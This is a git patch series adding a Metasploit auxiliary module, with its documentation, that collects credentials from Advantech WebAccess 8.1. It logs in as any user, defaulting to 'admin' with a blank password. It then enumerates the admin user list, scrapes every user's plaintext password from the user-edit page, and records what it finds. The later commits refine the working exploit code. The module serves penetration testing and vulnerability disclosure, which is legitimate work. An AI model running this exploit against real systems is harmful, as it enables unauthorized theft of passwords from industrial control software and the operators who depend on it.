From 94bc44b48510ce9969f58fd467d837391a8c814f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 14:53:59 -0600 Subject: [PATCH 1/8] Add Advantech WebAccess Post Auth Credential Collector --- .../gather/advantech_webaccess_creds.md | 32 ++++ .../gather/advantech_webaccess_creds.rb | 171 ++++++++++++++++++ 2 files changed, 203 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/advantech_webaccess_creds.md create mode 100644 modules/auxiliary/gather/advantech_webaccess_creds.rb diff --git a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md new file mode 100644 index 0000000000..a14f39bce3 --- /dev/null +++ b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md @@ -0,0 +1,32 @@ +## Description + +This module allows you to log into Advantech WebAccess, and gather credentials from the user list. + + +## Vulnerable Application + +Version 8.1 was tested during development: + +http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe + +8.2 is not vulnerable to this. + +## Verification Steps + +1. Start msfconsole +2. ```use auxiliary/gahter/advantech_webaccess_creds``` +3. ```set WEBACCESSUSER [USER]``` +4. ```set WEBACCESSPASS [PASS]``` +5. ```run``` + +## Options + +**WEBACCESSUSER** + +The username to use to log into Advantech WebAccess. By default, there is a built-in account +```admin``` that you could use. + +**WEBACCESSPASS** + +The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin``` +does not have a password, which could be something you can use. diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb new file mode 100644 index 0000000000..a942dfb685 --- /dev/null +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Advantech WebAccess Post Authentication Credential Collector", + 'Description' => %q{ + This module allows you to log into Advantech WebAccess 8.1, and collect all the credentials. + Although authentication is required, you do not need to be admin to be able to see other + people's passwords. Any user would work. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154 + 'sinn3r', # Metasploit module + ], + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229'] + ], + 'DisclosureDate' => "Jan 21 2017" + )) + + register_options( + [ + OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']), + OptString.new('WEBACCESSPASS', [true, 'Password for Advantech WebAccess', '']), + OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']), + ], self.class) + end + + def do_login + vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'") + + uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'page' => '/', + 'pos' => '', + 'username' => datastore['WEBACCESSUSER'], + 'password' => datastore['WEBACCESSPASS'], + 'remMe' => '', + 'submit1' => 'Login' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while trying to login') + end + + if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp' + print_good("Logged in as #{datastore['WEBACCESSUSER']}") + report_cred( + user: datastore['WEBACCESSUSER'], + password: datastore['WEBACCESSPASS'], + status: Metasploit::Model::Login::Status::SUCCESSFUL + ) + return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || '' + end + + print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'") + + nil + end + + def get_user_cred_detail(sid, user) + vprint_status("Gathering password for user: #{user}") + + uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => sid, + 'vars_get' => { + 'uname' => user + } + }) + + unless res + print_error("Unable to gather password for user #{user} due to a connection timeout") + return nil + end + + html = res.get_html_document + pass_field = html.at('input[@name="Password"]') + + pass_field.attributes['value'].text + end + + def get_users_page(sid) + vprint_status("Checking user page...") + + uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => sid + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp') + end + + html = res.get_html_document + + users = html.search('a').map { |a| + a.attributes['href'].text.scan(/broadWeb\/user\/delAdmin\.asp\?uname=(.+)/).flatten.first + }.delete_if { |user| user.nil? } + + users + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'webaccess', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: opts[:status], + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run + cookie = do_login + users = get_users_page(cookie) + + users.each do |user| + pass = get_user_cred_detail(cookie, user) + report_cred( + user: user, + password: pass, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: 'AdminPg.asp' + ) + + print_good("Found password: #{user}:#{pass}") + end + end + +end From 72b654c9b112b8c9d6aad5704f3180cce71eb0dc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 14:58:02 -0600 Subject: [PATCH 2/8] Update description --- modules/auxiliary/gather/advantech_webaccess_creds.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index a942dfb685..287c3282e7 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -11,11 +11,13 @@ class MetasploitModule < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "Advantech WebAccess Post Authentication Credential Collector", + 'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector", 'Description' => %q{ This module allows you to log into Advantech WebAccess 8.1, and collect all the credentials. Although authentication is required, you do not need to be admin to be able to see other people's passwords. Any user would work. + + Note that 8.2 is not suitable for this. }, 'License' => MSF_LICENSE, 'Author' => From 7151930dec138fb16071778a5f417df5009098d8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 16:34:09 -0600 Subject: [PATCH 3/8] Update md doc --- .../gather/advantech_webaccess_creds.md | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md index a14f39bce3..d67840386a 100644 --- a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md +++ b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md @@ -1,6 +1,16 @@ ## Description -This module allows you to log into Advantech WebAccess, and gather credentials from the user list. +This module exploits three vulnerabilities in Advantech WebAccess. + +The first vulnerability is the ability for an arbitrary user to access the admin user list page, +revealing the username of every user on the system. + +The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with +the data of an arbitrary user. + +The final vulnerability exploited is that the HTML Form on the user edit page contains the user's +plain text password in the masked password input box. Typically the system should replace the +actual password with a masked character such as "*". ## Vulnerable Application @@ -30,3 +40,8 @@ The username to use to log into Advantech WebAccess. By default, there is a buil The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin``` does not have a password, which could be something you can use. + + +## Demo + +![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif) From 4ee0a380d1c140fab948ab0d36364316d2bd3759 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 16:35:15 -0600 Subject: [PATCH 4/8] Update module description --- modules/auxiliary/gather/advantech_webaccess_creds.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 287c3282e7..ccc84a0869 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -13,9 +13,8 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector", 'Description' => %q{ - This module allows you to log into Advantech WebAccess 8.1, and collect all the credentials. - Although authentication is required, you do not need to be admin to be able to see other - people's passwords. Any user would work. + This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials. + Although authentication is required, any level of user permission can exploit this vulnerability. Note that 8.2 is not suitable for this. }, From 55b9c15d68f63120111e6250899a9bb38d7ff718 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 17:48:41 -0600 Subject: [PATCH 5/8] Pass should not be forced --- modules/auxiliary/gather/advantech_webaccess_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index ccc84a0869..7cf6a4ceb1 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']), - OptString.new('WEBACCESSPASS', [true, 'Password for Advantech WebAccess', '']), + OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']), OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']), ], self.class) end From ba50f2f88bf32e0b3a38253c40761dea57f06e7a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 17:51:20 -0600 Subject: [PATCH 6/8] Fix nil for empty pass --- .../gather/advantech_webaccess_creds.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 7cf6a4ceb1..8a144fbe2f 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary html = res.get_html_document pass_field = html.at('input[@name="Password"]') - pass_field.attributes['value'].text + pass_field ? pass_field.attributes['value'].text : nil end def get_users_page(sid) @@ -158,14 +158,17 @@ class MetasploitModule < Msf::Auxiliary users.each do |user| pass = get_user_cred_detail(cookie, user) - report_cred( - user: user, - password: pass, - status: Metasploit::Model::Login::Status::SUCCESSFUL, - proof: 'AdminPg.asp' - ) - print_good("Found password: #{user}:#{pass}") + if pass + report_cred( + user: user, + password: pass, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: 'AdminPg.asp' + ) + + print_good("Found password: #{user}:#{pass}") + end end end From e47f38b3c994839283acd3d45225ee8e5addad1c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 18:20:06 -0600 Subject: [PATCH 7/8] Look at the right link to extract users --- modules/auxiliary/gather/advantech_webaccess_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 8a144fbe2f..20a7ecf698 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -119,7 +119,7 @@ class MetasploitModule < Msf::Auxiliary html = res.get_html_document users = html.search('a').map { |a| - a.attributes['href'].text.scan(/broadWeb\/user\/delAdmin\.asp\?uname=(.+)/).flatten.first + a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first }.delete_if { |user| user.nil? } users From fd6a58a34842a29847e900b0bfcf58cb504d56fa Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 26 Jan 2017 18:30:17 -0600 Subject: [PATCH 8/8] URI decode users --- modules/auxiliary/gather/advantech_webaccess_creds.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 20a7ecf698..61b9a30a37 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -119,8 +119,8 @@ class MetasploitModule < Msf::Auxiliary html = res.get_html_document users = html.search('a').map { |a| - a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first - }.delete_if { |user| user.nil? } + Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '') + }.delete_if { |user| user.blank? } users end